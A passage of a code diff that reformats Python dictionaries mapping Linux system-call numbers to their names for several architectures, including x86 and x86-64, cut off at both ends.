"pwrite64", - 69: "preadv", - 70: "pwritev", - 71: "sendfile", - 72: "pselect6", - 73: "ppoll", - 74: "signalfd4", - 75: "vmsplice", - 76: "splice", - 77: "tee", - 78: "readlinkat", - 79: "newfstatat", - 80: "fstat", - 81: "sync", - 82: "fsync", - 83: "fdatasync", - 84: "sync_file_range", - 85: "timerfd_create", - 86: "timerfd_settime", - 87: "timerfd_gettime", - 88: "utimensat", - 89: "acct", - 90: "capget", - 91: "capset", - 92: "personality", - 93: "exit", - 94: "exit_group", - 95: "waitid", - 96: "set_tid_address", - 97: "unshare", - 98: "futex", - 99: "set_robust_list", - 100: "get_robust_list", - 101: "nanosleep", - 102: "getitimer", - 103: "setitimer", - 104: "kexec_load", - 105: "init_module", - 106: "delete_module", - 107: "timer_create", - 108: "timer_gettime", - 109: "timer_getoverrun", - 110: "timer_settime", - 111: "timer_delete", - 112: "clock_settime", - 113: "clock_gettime", - 114: "clock_getres", - 115: "clock_nanosleep", - 116: "syslog", - 117: "ptrace", - 118: "sched_setparam", - 119: "sched_setscheduler", - 120: "sched_getscheduler", - 121: "sched_getparam", - 122: "sched_setaffinity", - 123: "sched_getaffinity", - 124: "sched_yield", - 125: "sched_get_priority_max", - 126: "sched_get_priority_min", - 127: "sched_rr_get_interval", - 128: "restart_syscall", - 129: "kill", - 130: "tkill", - 131: "tgkill", - 132: "sigaltstack", - 133: "rt_sigsuspend", - 134: "rt_sigaction", - 135: "rt_sigprocmask", - 136: "rt_sigpending", - 137: "rt_sigtimedwait", - 138: "rt_sigqueueinfo", - 139: "rt_sigreturn", - 140: "setpriority", - 141: "getpriority", - 142: "reboot", - 143: "setregid", - 144: "setgid", - 145: "setreuid", - 146: "setuid", - 147: "setresuid", - 148: "getresuid", - 149: "setresgid", - 150: "getresgid", - 151: "setfsuid", - 152: "setfsgid", - 153: "times", - 154: "setpgid", - 155: "getpgid", - 156: "getsid", - 157: "setsid", - 158: "getgroups", - 159: "setgroups", - 160: "uname", - 161: "sethostname", - 162: "setdomainname", - 163: "getrlimit", - 164: "setrlimit", - 165: "getrusage", - 166: "umask", - 167: "prctl", - 168: "getcpu", - 169: "gettimeofday", - 170: "settimeofday", - 171: "adjtimex", - 172: "getpid", - 173: "getppid", - 174: "getuid", - 175: "geteuid", - 176: "getgid", - 177: "getegid", - 178: "gettid", - 179: "sysinfo", - 180: "mq_open", - 181: "mq_unlink", - 182: "mq_timedsend", - 183: "mq_timedreceive", - 184: "mq_notify", - 185: "mq_getsetattr", - 186: "msgget", - 187: "msgctl", - 188: "msgrcv", - 189: "msgsnd", - 190: "semget", - 191: "semctl", - 192: "semtimedop", - 193: "semop", - 194: "shmget", - 195: "shmctl", - 196: "shmat", - 197: "shmdt", - 198: "socket", - 199: "socketpair", - 200: "bind", - 201: "listen", - 202: "accept", - 203: "connect", - 204: "getsockname", - 205: "getpeername", - 206: "sendto", - 207: "recvfrom", - 208: "setsockopt", - 209: "getsockopt", - 210: "shutdown", - 211: "sendmsg", - 212: "recvmsg", - 213: "readahead", - 214: "brk", - 215: "munmap", - 216: "mremap", - 217: "add_key", - 218: "request_key", - 219: "keyctl", - 220: "clone", - 221: "execve", - 222: "mmap", - 223: "fadvise64", - 224: "swapon", - 225: "swapoff", - 226: "mprotect", - 227: "msync", - 228: "mlock", - 229: "munlock", - 230: "mlockall", - 231: "munlockall", - 232: "mincore", - 233: "madvise", - 234: "remap_file_pages", - 235: "mbind", - 236: "get_mempolicy", - 237: "set_mempolicy", - 238: "migrate_pages", - 239: "move_pages", - 240: "rt_tgsigqueueinfo", - 241: "perf_event_open", - 242: "accept4", - 243: "recvmmsg", - 260: "wait4", - 261: "prlimit64", - 262: "fanotify_init", - 263: "fanotify_mark", - 264: "name_to_handle_at", - 265: "open_by_handle_at", - 266: "clock_adjtime", - 267: "syncfs", - 268: "setns", - 269: "sendmmsg", - 270: "process_vm_readv", - 271: "process_vm_writev", - 272: "kcmp", - 273: "finit_module", - 274: "sched_setattr", - 275: "sched_getattr", - 276: "renameat2", - 277: "seccomp", - 278: "getrandom", - 279: "memfd_create", - 280: "bpf", - 281: "execveat", - 282: "userfaultfd", - 283: "membarrier", - 284: "mlock2", - 285: "copy_file_range", - 286: "preadv2", - 287: "pwritev2", - 288: "pkey_mprotect", - 289: "pkey_alloc", - 290: "pkey_free", - 291: "statx", - 292: "io_pgetevents", - 293: "rseq", - 294: "kexec_file_load", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 435: "clone3", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 447: "memfd_secret", - 448: "process_mrelease", + 1: "io_destroy", + 2: "io_submit", + 3: "io_cancel", + 4: "io_getevents", + 5: "setxattr", + 6: "lsetxattr", + 7: "fsetxattr", + 8: "getxattr", + 9: "lgetxattr", + 10: "fgetxattr", + 11: "listxattr", + 12: "llistxattr", + 13: "flistxattr", + 14: "removexattr", + 15: "lremovexattr", + 16: "fremovexattr", + 17: "getcwd", + 18: "lookup_dcookie", + 19: "eventfd2", + 20: "epoll_create1", + 21: "epoll_ctl", + 22: "epoll_pwait", + 23: "dup", + 24: "dup3", + 25: "fcntl", + 26: "inotify_init1", + 27: "inotify_add_watch", + 28: "inotify_rm_watch", + 29: "ioctl", + 30: "ioprio_set", + 31: "ioprio_get", + 32: "flock", + 33: "mknodat", + 34: "mkdirat", + 35: "unlinkat", + 36: "symlinkat", + 37: "linkat", + 38: "renameat", + 39: "umount2", + 40: "mount", + 41: "pivot_root", + 42: "nfsservctl", + 43: "statfs", + 44: "fstatfs", + 45: "truncate", + 46: "ftruncate", + 47: "fallocate", + 48: "faccessat", + 49: "chdir", + 50: "fchdir", + 51: "chroot", + 52: "fchmod", + 53: "fchmodat", + 54: "fchownat", + 55: "fchown", + 56: "openat", + 57: "close", + 58: "vhangup", + 59: "pipe2", + 60: "quotactl", + 61: "getdents64", + 62: "lseek", + 63: "read", + 64: "write", + 65: "readv", + 66: "writev", + 67: "pread64", + 68: "pwrite64", + 69: "preadv", + 70: "pwritev", + 71: "sendfile", + 72: "pselect6", + 73: "ppoll", + 74: "signalfd4", + 75: "vmsplice", + 76: "splice", + 77: "tee", + 78: "readlinkat", + 79: "newfstatat", + 80: "fstat", + 81: "sync", + 82: "fsync", + 83: "fdatasync", + 84: "sync_file_range", + 85: "timerfd_create", + 86: "timerfd_settime", + 87: "timerfd_gettime", + 88: "utimensat", + 89: "acct", + 90: "capget", + 91: "capset", + 92: "personality", + 93: "exit", + 94: "exit_group", + 95: "waitid", + 96: "set_tid_address", + 97: "unshare", + 98: "futex", + 99: "set_robust_list", + 100: "get_robust_list", + 101: "nanosleep", + 102: "getitimer", + 103: "setitimer", + 104: "kexec_load", + 105: "init_module", + 106: "delete_module", + 107: "timer_create", + 108: "timer_gettime", + 109: "timer_getoverrun", + 110: "timer_settime", + 111: "timer_delete", + 112: "clock_settime", + 113: "clock_gettime", + 114: "clock_getres", + 115: "clock_nanosleep", + 116: "syslog", + 117: "ptrace", + 118: "sched_setparam", + 119: "sched_setscheduler", + 120: "sched_getscheduler", + 121: "sched_getparam", + 122: "sched_setaffinity", + 123: "sched_getaffinity", + 124: "sched_yield", + 125: "sched_get_priority_max", + 126: "sched_get_priority_min", + 127: "sched_rr_get_interval", + 128: "restart_syscall", + 129: "kill", + 130: "tkill", + 131: "tgkill", + 132: "sigaltstack", + 133: "rt_sigsuspend", + 134: "rt_sigaction", + 135: "rt_sigprocmask", + 136: "rt_sigpending", + 137: "rt_sigtimedwait", + 138: "rt_sigqueueinfo", + 139: "rt_sigreturn", + 140: "setpriority", + 141: "getpriority", + 142: "reboot", + 143: "setregid", + 144: "setgid", + 145: "setreuid", + 146: "setuid", + 147: "setresuid", + 148: "getresuid", + 149: "setresgid", + 150: "getresgid", + 151: "setfsuid", + 152: "setfsgid", + 153: "times", + 154: "setpgid", + 155: "getpgid", + 156: "getsid", + 157: "setsid", + 158: "getgroups", + 159: "setgroups", + 160: "uname", + 161: "sethostname", + 162: "setdomainname", + 163: "getrlimit", + 164: "setrlimit", + 165: "getrusage", + 166: "umask", + 167: "prctl", + 168: "getcpu", + 169: "gettimeofday", + 170: "settimeofday", + 171: "adjtimex", + 172: "getpid", + 173: "getppid", + 174: "getuid", + 175: "geteuid", + 176: "getgid", + 177: "getegid", + 178: "gettid", + 179: "sysinfo", + 180: "mq_open", + 181: "mq_unlink", + 182: "mq_timedsend", + 183: "mq_timedreceive", + 184: "mq_notify", + 185: "mq_getsetattr", + 186: "msgget", + 187: "msgctl", + 188: "msgrcv", + 189: "msgsnd", + 190: "semget", + 191: "semctl", + 192: "semtimedop", + 193: "semop", + 194: "shmget", + 195: "shmctl", + 196: "shmat", + 197: "shmdt", + 198: "socket", + 199: "socketpair", + 200: "bind", + 201: "listen", + 202: "accept", + 203: "connect", + 204: "getsockname", + 205: "getpeername", + 206: "sendto", + 207: "recvfrom", + 208: "setsockopt", + 209: "getsockopt", + 210: "shutdown", + 211: "sendmsg", + 212: "recvmsg", + 213: "readahead", + 214: "brk", + 215: "munmap", + 216: "mremap", + 217: "add_key", + 218: "request_key", + 219: "keyctl", + 220: "clone", + 221: "execve", + 222: "mmap", + 223: "fadvise64", + 224: "swapon", + 225: "swapoff", + 226: "mprotect", + 227: "msync", + 228: "mlock", + 229: "munlock", + 230: "mlockall", + 231: "munlockall", + 232: "mincore", + 233: "madvise", + 234: "remap_file_pages", + 235: "mbind", + 236: "get_mempolicy", + 237: "set_mempolicy", + 238: "migrate_pages", + 239: "move_pages", + 240: "rt_tgsigqueueinfo", + 241: "perf_event_open", + 242: "accept4", + 243: "recvmmsg", + 260: "wait4", + 261: "prlimit64", + 262: "fanotify_init", + 263: "fanotify_mark", + 264: "name_to_handle_at", + 265: "open_by_handle_at", + 266: "clock_adjtime", + 267: "syncfs", + 268: "setns", + 269: "sendmmsg", + 270: "process_vm_readv", + 271: "process_vm_writev", + 272: "kcmp", + 273: "finit_module", + 274: "sched_setattr", + 275: "sched_getattr", + 276: "renameat2", + 277: "seccomp", + 278: "getrandom", + 279: "memfd_create", + 280: "bpf", + 281: "execveat", + 282: "userfaultfd", + 283: "membarrier", + 284: "mlock2", + 285: "copy_file_range", + 286: "preadv2", + 287: "pwritev2", + 288: "pkey_mprotect", + 289: "pkey_alloc", + 290: "pkey_free", + 291: "statx", + 292: "io_pgetevents", + 293: "rseq", + 294: "kexec_file_load", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 435: "clone3", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 447: "memfd_secret", + 448: "process_mrelease", } x86_syscall_table = { 0: "restart_syscall", - 1: "exit", - 2: "fork", - 3: "read", - 4: "write", - 5: "open", - 6: "close", - 7: "waitpid", - 8: "creat", - 9: "link", - 10: "unlink", - 11: "execve", - 12: "chdir", - 13: "time", - 14: "mknod", - 15: "chmod", - 16: "lchown", - 18: "oldstat", - 19: "lseek", - 20: "getpid", - 21: "mount", - 22: "umount", - 23: "setuid", - 24: "getuid", - 25: "stime", - 26: "ptrace", - 27: "alarm", - 28: "oldfstat", - 29: "pause", - 30: "utime", - 33: "access", - 34: "nice", - 36: "sync", - 37: "kill", - 38: "rename", - 39: "mkdir", - 40: "rmdir", - 41: "dup", - 42: "pipe", - 43: "times", - 45: "brk", - 46: "setgid", - 47: "getgid", - 48: "signal", - 49: "geteuid", - 50: "getegid", - 51: "acct", - 52: "umount2", - 54: "ioctl", - 55: "fcntl", - 57: "setpgid", - 59: "oldolduname", - 60: "umask", - 61: "chroot", - 62: "ustat", - 63: "dup2", - 64: "getppid", - 65: "getpgrp", - 66: "setsid", - 67: "sigaction", - 68: "sgetmask", - 69: "ssetmask", - 70: "setreuid", - 71: "setregid", - 72: "sigsuspend", - 73: "sigpending", - 74: "sethostname", - 75: "setrlimit", - 76: "getrlimit", - 77: "getrusage", - 78: "gettimeofday", - 79: "settimeofday", - 80: "getgroups", - 81: "setgroups", - 82: "select", - 83: "symlink", - 84: "oldlstat", - 85: "readlink", - 86: "uselib", - 87: "swapon", - 88: "reboot", - 89: "readdir", - 90: "mmap", - 91: "munmap", - 92: "truncate", - 93: "ftruncate", - 94: "fchmod", - 95: "fchown", - 96: "getpriority", - 97: "setpriority", - 99: "statfs", - 100: "fstatfs", - 101: "ioperm", - 102: "socketcall", - 103: "syslog", - 104: "setitimer", - 105: "getitimer", - 106: "stat", - 107: "lstat", - 108: "fstat", - 109: "olduname", - 110: "iopl", - 111: "vhangup", - 112: "idle", - 113: "vm86old", - 114: "wait4", - 115: "swapoff", - 116: "sysinfo", - 117: "ipc", - 118: "fsync", - 119: "sigreturn", - 120: "clone", - 121: "setdomainname", - 122: "uname", - 123: "modify_ldt", - 124: "adjtimex", - 125: "mprotect", - 126: "sigprocmask", - 127: "create_module", - 128: "init_module", - 129: "delete_module", - 130: "get_kernel_syms", - 131: "quotactl", - 132: "getpgid", - 133: "fchdir", - 134: "bdflush", - 135: "sysfs", - 136: "personality", - 138: "setfsuid", - 139: "setfsgid", - 140: "_llseek", - 141: "getdents", - 142: "_newselect", - 143: "flock", - 144: "msync", - 145: "readv", - 146: "writev", - 147: "getsid", - 148: "fdatasync", - 149: "_sysctl", - 150: "mlock", - 151: "munlock", - 152: "mlockall", - 153: "munlockall", - 154: "sched_setparam", - 155: "sched_getparam", - 156: "sched_setscheduler", - 157: "sched_getscheduler", - 158: "sched_yield", - 159: "sched_get_priority_max", - 160: "sched_get_priority_min", - 161: "sched_rr_get_interval", - 162: "nanosleep", - 163: "mremap", - 164: "setresuid", - 165: "getresuid", - 166: "vm86", - 167: "query_module", - 168: "poll", - 169: "nfsservctl", - 170: "setresgid", - 171: "getresgid", - 172: "prctl", - 173: "rt_sigreturn", - 174: "rt_sigaction", - 175: "rt_sigprocmask", - 176: "rt_sigpending", - 177: "rt_sigtimedwait", - 178: "rt_sigqueueinfo", - 179: "rt_sigsuspend", - 180: "pread64", - 181: "pwrite64", - 182: "chown", - 183: "getcwd", - 184: "capget", - 185: "capset", - 186: "sigaltstack", - 187: "sendfile", - 188: "getpmsg", - 190: "vfork", - 191: "ugetrlimit", - 192: "mmap2", - 193: "truncate64", - 194: "ftruncate64", - 195: "stat64", - 196: "lstat64", - 197: "fstat64", - 198: "lchown32", - 199: "getuid32", - 200: "getgid32", - 201: "geteuid32", - 202: "getegid32", - 203: "setreuid32", - 204: "setregid32", - 205: "getgroups32", - 206: "setgroups32", - 207: "fchown32", - 208: "setresuid32", - 209: "getresuid32", - 210: "setresgid32", - 211: "getresgid32", - 212: "chown32", - 213: "setuid32", - 214: "setgid32", - 215: "setfsuid32", - 216: "setfsgid32", - 217: "pivot_root", - 218: "mincore", - 219: "madvise", - 220: "getdents64", - 221: "fcntl64", - 224: "gettid", - 225: "readahead", - 226: "setxattr", - 227: "lsetxattr", - 228: "fsetxattr", - 229: "getxattr", - 230: "lgetxattr", - 231: "fgetxattr", - 232: "listxattr", - 233: "llistxattr", - 234: "flistxattr", - 235: "removexattr", - 236: "lremovexattr", - 237: "fremovexattr", - 238: "tkill", - 239: "sendfile64", - 240: "futex", - 241: "sched_setaffinity", - 242: "sched_getaffinity", - 243: "set_thread_area", - 244: "get_thread_area", - 245: "io_setup", - 246: "io_destroy", - 247: "io_getevents", - 248: "io_submit", - 249: "io_cancel", - 250: "fadvise64", - 252: "exit_group", - 253: "lookup_dcookie", - 254: "epoll_create", - 255: "epoll_ctl", - 256: "epoll_wait", - 257: "remap_file_pages", - 258: "set_tid_address", - 259: "timer_create", - 260: "timer_settime", - 261: "timer_gettime", - 262: "timer_getoverrun", - 263: "timer_delete", - 264: "clock_settime", - 265: "clock_gettime", - 266: "clock_getres", - 267: "clock_nanosleep", - 268: "statfs64", - 269: "fstatfs64", - 270: "tgkill", - 271: "utimes", - 272: "fadvise64_64", - 274: "mbind", - 275: "get_mempolicy", - 276: "set_mempolicy", - 277: "mq_open", - 278: "mq_unlink", - 279: "mq_timedsend", - 280: "mq_timedreceive", - 281: "mq_notify", - 282: "mq_getsetattr", - 283: "kexec_load", - 284: "waitid", - 286: "add_key", - 287: "request_key", - 288: "keyctl", - 289: "ioprio_set", - 290: "ioprio_get", - 291: "inotify_init", - 292: "inotify_add_watch", - 293: "inotify_rm_watch", - 294: "migrate_pages", - 295: "openat", - 296: "mkdirat", - 297: "mknodat", - 298: "fchownat", - 299: "futimesat", - 300: "fstatat64", - 301: "unlinkat", - 302: "renameat", - 303: "linkat", - 304: "symlinkat", - 305: "readlinkat", - 306: "fchmodat", - 307: "faccessat", - 308: "pselect6", - 309: "ppoll", - 310: "unshare", - 311: "set_robust_list", - 312: "get_robust_list", - 313: "splice", - 314: "sync_file_range", - 315: "tee", - 316: "vmsplice", - 317: "move_pages", - 318: "getcpu", - 319: "epoll_pwait", - 320: "utimensat", - 321: "signalfd", - 322: "timerfd_create", - 323: "eventfd", - 324: "fallocate", - 325: "timerfd_settime", - 326: "timerfd_gettime", - 327: "signalfd4", - 328: "eventfd2", - 329: "epoll_create1", - 330: "dup3", - 331: "pipe2", - 332: "inotify_init1", - 333: "preadv", - 334: "pwritev", - 335: "rt_tgsigqueueinfo", - 336: "perf_event_open", - 337: "recvmmsg", - 338: "fanotify_init", - 339: "fanotify_mark", - 340: "prlimit64", - 341: "name_to_handle_at", - 342: "open_by_handle_at", - 343: "clock_adjtime", - 344: "syncfs", - 345: "sendmmsg", - 346: "setns", - 347: "process_vm_readv", - 348: "process_vm_writev", - 349: "kcmp", - 350: "finit_module", - 351: "sched_setattr", - 352: "sched_getattr", - 353: "renameat2", - 354: "seccomp", - 355: "getrandom", - 356: "memfd_create", - 357: "bpf", - 358: "execveat", - 359: "socket", - 360: "socketpair", - 361: "bind", - 362: "connect", - 363: "listen", - 364: "accept4", - 365: "getsockopt", - 366: "setsockopt", - 367: "getsockname", - 368: "getpeername", - 369: "sendto", - 370: "sendmsg", - 371: "recvfrom", - 372: "recvmsg", - 373: "shutdown", - 374: "userfaultfd", - 375: "membarrier", - 376: "mlock2", - 377: "copy_file_range", - 378: "preadv2", - 379: "pwritev2", - 380: "pkey_mprotect", - 381: "pkey_alloc", - 382: "pkey_free", - 383: "statx", - 384: "arch_prctl", - 385: "io_pgetevents", - 386: "rseq", - 393: "semget", - 394: "semctl", - 395: "shmget", - 396: "shmctl", - 397: "shmat", - 398: "shmdt", - 399: "msgget", - 400: "msgsnd", - 401: "msgrcv", - 402: "msgctl", - 403: "clock_gettime64", - 404: "clock_settime64", - 405: "clock_adjtime64", - 406: "clock_getres_time64", - 407: "clock_nanosleep_time64", - 408: "timer_gettime64", - 409: "timer_settime64", - 410: "timerfd_gettime64", - 411: "timerfd_settime64", - 412: "utimensat_time64", - 413: "pselect6_time64", - 414: "ppoll_time64", - 416: "io_pgetevents_time64", - 417: "recvmmsg_time64", - 418: "mq_timedsend_time64", - 419: "mq_timedreceive_time64", - 420: "semtimedop_time64", - 421: "rt_sigtimedwait_time64", - 422: "futex_time64", - 423: "sched_rr_get_interval_time64", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", - 434: "pidfd_open", - 435: "clone3", - 436: "close_range", - 437: "openat2", - 438: "pidfd_getfd", - 439: "faccessat2", - 440: "process_madvise", - 441: "epoll_pwait2", - 442: "mount_setattr", - 443: "quotactl_fd", - 444: "landlock_create_ruleset", - 445: "landlock_add_rule", - 446: "landlock_restrict_self", - 447: "memfd_secret", - 448: "process_mrelease", + 1: "exit", + 2: "fork", + 3: "read", + 4: "write", + 5: "open", + 6: "close", + 7: "waitpid", + 8: "creat", + 9: "link", + 10: "unlink", + 11: "execve", + 12: "chdir", + 13: "time", + 14: "mknod", + 15: "chmod", + 16: "lchown", + 18: "oldstat", + 19: "lseek", + 20: "getpid", + 21: "mount", + 22: "umount", + 23: "setuid", + 24: "getuid", + 25: "stime", + 26: "ptrace", + 27: "alarm", + 28: "oldfstat", + 29: "pause", + 30: "utime", + 33: "access", + 34: "nice", + 36: "sync", + 37: "kill", + 38: "rename", + 39: "mkdir", + 40: "rmdir", + 41: "dup", + 42: "pipe", + 43: "times", + 45: "brk", + 46: "setgid", + 47: "getgid", + 48: "signal", + 49: "geteuid", + 50: "getegid", + 51: "acct", + 52: "umount2", + 54: "ioctl", + 55: "fcntl", + 57: "setpgid", + 59: "oldolduname", + 60: "umask", + 61: "chroot", + 62: "ustat", + 63: "dup2", + 64: "getppid", + 65: "getpgrp", + 66: "setsid", + 67: "sigaction", + 68: "sgetmask", + 69: "ssetmask", + 70: "setreuid", + 71: "setregid", + 72: "sigsuspend", + 73: "sigpending", + 74: "sethostname", + 75: "setrlimit", + 76: "getrlimit", + 77: "getrusage", + 78: "gettimeofday", + 79: "settimeofday", + 80: "getgroups", + 81: "setgroups", + 82: "select", + 83: "symlink", + 84: "oldlstat", + 85: "readlink", + 86: "uselib", + 87: "swapon", + 88: "reboot", + 89: "readdir", + 90: "mmap", + 91: "munmap", + 92: "truncate", + 93: "ftruncate", + 94: "fchmod", + 95: "fchown", + 96: "getpriority", + 97: "setpriority", + 99: "statfs", + 100: "fstatfs", + 101: "ioperm", + 102: "socketcall", + 103: "syslog", + 104: "setitimer", + 105: "getitimer", + 106: "stat", + 107: "lstat", + 108: "fstat", + 109: "olduname", + 110: "iopl", + 111: "vhangup", + 112: "idle", + 113: "vm86old", + 114: "wait4", + 115: "swapoff", + 116: "sysinfo", + 117: "ipc", + 118: "fsync", + 119: "sigreturn", + 120: "clone", + 121: "setdomainname", + 122: "uname", + 123: "modify_ldt", + 124: "adjtimex", + 125: "mprotect", + 126: "sigprocmask", + 127: "create_module", + 128: "init_module", + 129: "delete_module", + 130: "get_kernel_syms", + 131: "quotactl", + 132: "getpgid", + 133: "fchdir", + 134: "bdflush", + 135: "sysfs", + 136: "personality", + 138: "setfsuid", + 139: "setfsgid", + 140: "_llseek", + 141: "getdents", + 142: "_newselect", + 143: "flock", + 144: "msync", + 145: "readv", + 146: "writev", + 147: "getsid", + 148: "fdatasync", + 149: "_sysctl", + 150: "mlock", + 151: "munlock", + 152: "mlockall", + 153: "munlockall", + 154: "sched_setparam", + 155: "sched_getparam", + 156: "sched_setscheduler", + 157: "sched_getscheduler", + 158: "sched_yield", + 159: "sched_get_priority_max", + 160: "sched_get_priority_min", + 161: "sched_rr_get_interval", + 162: "nanosleep", + 163: "mremap", + 164: "setresuid", + 165: "getresuid", + 166: "vm86", + 167: "query_module", + 168: "poll", + 169: "nfsservctl", + 170: "setresgid", + 171: "getresgid", + 172: "prctl", + 173: "rt_sigreturn", + 174: "rt_sigaction", + 175: "rt_sigprocmask", + 176: "rt_sigpending", + 177: "rt_sigtimedwait", + 178: "rt_sigqueueinfo", + 179: "rt_sigsuspend", + 180: "pread64", + 181: "pwrite64", + 182: "chown", + 183: "getcwd", + 184: "capget", + 185: "capset", + 186: "sigaltstack", + 187: "sendfile", + 188: "getpmsg", + 190: "vfork", + 191: "ugetrlimit", + 192: "mmap2", + 193: "truncate64", + 194: "ftruncate64", + 195: "stat64", + 196: "lstat64", + 197: "fstat64", + 198: "lchown32", + 199: "getuid32", + 200: "getgid32", + 201: "geteuid32", + 202: "getegid32", + 203: "setreuid32", + 204: "setregid32", + 205: "getgroups32", + 206: "setgroups32", + 207: "fchown32", + 208: "setresuid32", + 209: "getresuid32", + 210: "setresgid32", + 211: "getresgid32", + 212: "chown32", + 213: "setuid32", + 214: "setgid32", + 215: "setfsuid32", + 216: "setfsgid32", + 217: "pivot_root", + 218: "mincore", + 219: "madvise", + 220: "getdents64", + 221: "fcntl64", + 224: "gettid", + 225: "readahead", + 226: "setxattr", + 227: "lsetxattr", + 228: "fsetxattr", + 229: "getxattr", + 230: "lgetxattr", + 231: "fgetxattr", + 232: "listxattr", + 233: "llistxattr", + 234: "flistxattr", + 235: "removexattr", + 236: "lremovexattr", + 237: "fremovexattr", + 238: "tkill", + 239: "sendfile64", + 240: "futex", + 241: "sched_setaffinity", + 242: "sched_getaffinity", + 243: "set_thread_area", + 244: "get_thread_area", + 245: "io_setup", + 246: "io_destroy", + 247: "io_getevents", + 248: "io_submit", + 249: "io_cancel", + 250: "fadvise64", + 252: "exit_group", + 253: "lookup_dcookie", + 254: "epoll_create", + 255: "epoll_ctl", + 256: "epoll_wait", + 257: "remap_file_pages", + 258: "set_tid_address", + 259: "timer_create", + 260: "timer_settime", + 261: "timer_gettime", + 262: "timer_getoverrun", + 263: "timer_delete", + 264: "clock_settime", + 265: "clock_gettime", + 266: "clock_getres", + 267: "clock_nanosleep", + 268: "statfs64", + 269: "fstatfs64", + 270: "tgkill", + 271: "utimes", + 272: "fadvise64_64", + 274: "mbind", + 275: "get_mempolicy", + 276: "set_mempolicy", + 277: "mq_open", + 278: "mq_unlink", + 279: "mq_timedsend", + 280: "mq_timedreceive", + 281: "mq_notify", + 282: "mq_getsetattr", + 283: "kexec_load", + 284: "waitid", + 286: "add_key", + 287: "request_key", + 288: "keyctl", + 289: "ioprio_set", + 290: "ioprio_get", + 291: "inotify_init", + 292: "inotify_add_watch", + 293: "inotify_rm_watch", + 294: "migrate_pages", + 295: "openat", + 296: "mkdirat", + 297: "mknodat", + 298: "fchownat", + 299: "futimesat", + 300: "fstatat64", + 301: "unlinkat", + 302: "renameat", + 303: "linkat", + 304: "symlinkat", + 305: "readlinkat", + 306: "fchmodat", + 307: "faccessat", + 308: "pselect6", + 309: "ppoll", + 310: "unshare", + 311: "set_robust_list", + 312: "get_robust_list", + 313: "splice", + 314: "sync_file_range", + 315: "tee", + 316: "vmsplice", + 317: "move_pages", + 318: "getcpu", + 319: "epoll_pwait", + 320: "utimensat", + 321: "signalfd", + 322: "timerfd_create", + 323: "eventfd", + 324: "fallocate", + 325: "timerfd_settime", + 326: "timerfd_gettime", + 327: "signalfd4", + 328: "eventfd2", + 329: "epoll_create1", + 330: "dup3", + 331: "pipe2", + 332: "inotify_init1", + 333: "preadv", + 334: "pwritev", + 335: "rt_tgsigqueueinfo", + 336: "perf_event_open", + 337: "recvmmsg", + 338: "fanotify_init", + 339: "fanotify_mark", + 340: "prlimit64", + 341: "name_to_handle_at", + 342: "open_by_handle_at", + 343: "clock_adjtime", + 344: "syncfs", + 345: "sendmmsg", + 346: "setns", + 347: "process_vm_readv", + 348: "process_vm_writev", + 349: "kcmp", + 350: "finit_module", + 351: "sched_setattr", + 352: "sched_getattr", + 353: "renameat2", + 354: "seccomp", + 355: "getrandom", + 356: "memfd_create", + 357: "bpf", + 358: "execveat", + 359: "socket", + 360: "socketpair", + 361: "bind", + 362: "connect", + 363: "listen", + 364: "accept4", + 365: "getsockopt", + 366: "setsockopt", + 367: "getsockname", + 368: "getpeername", + 369: "sendto", + 370: "sendmsg", + 371: "recvfrom", + 372: "recvmsg", + 373: "shutdown", + 374: "userfaultfd", + 375: "membarrier", + 376: "mlock2", + 377: "copy_file_range", + 378: "preadv2", + 379: "pwritev2", + 380: "pkey_mprotect", + 381: "pkey_alloc", + 382: "pkey_free", + 383: "statx", + 384: "arch_prctl", + 385: "io_pgetevents", + 386: "rseq", + 393: "semget", + 394: "semctl", + 395: "shmget", + 396: "shmctl", + 397: "shmat", + 398: "shmdt", + 399: "msgget", + 400: "msgsnd", + 401: "msgrcv", + 402: "msgctl", + 403: "clock_gettime64", + 404: "clock_settime64", + 405: "clock_adjtime64", + 406: "clock_getres_time64", + 407: "clock_nanosleep_time64", + 408: "timer_gettime64", + 409: "timer_settime64", + 410: "timerfd_gettime64", + 411: "timerfd_settime64", + 412: "utimensat_time64", + 413: "pselect6_time64", + 414: "ppoll_time64", + 416: "io_pgetevents_time64", + 417: "recvmmsg_time64", + 418: "mq_timedsend_time64", + 419: "mq_timedreceive_time64", + 420: "semtimedop_time64", + 421: "rt_sigtimedwait_time64", + 422: "futex_time64", + 423: "sched_rr_get_interval_time64", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", + 434: "pidfd_open", + 435: "clone3", + 436: "close_range", + 437: "openat2", + 438: "pidfd_getfd", + 439: "faccessat2", + 440: "process_madvise", + 441: "epoll_pwait2", + 442: "mount_setattr", + 443: "quotactl_fd", + 444: "landlock_create_ruleset", + 445: "landlock_add_rule", + 446: "landlock_restrict_self", + 447: "memfd_secret", + 448: "process_mrelease", } x8664_syscall_table = { 0: "read", - 1: "write", - 2: "open", - 3: "close", - 4: "stat", - 5: "fstat", - 6: "lstat", - 7: "poll", - 8: "lseek", - 9: "mmap", - 10: "mprotect", - 11: "munmap", - 12: "brk", - 13: "rt_sigaction", - 14: "rt_sigprocmask", - 15: "rt_sigreturn", - 16: "ioctl", - 17: "pread64", - 18: 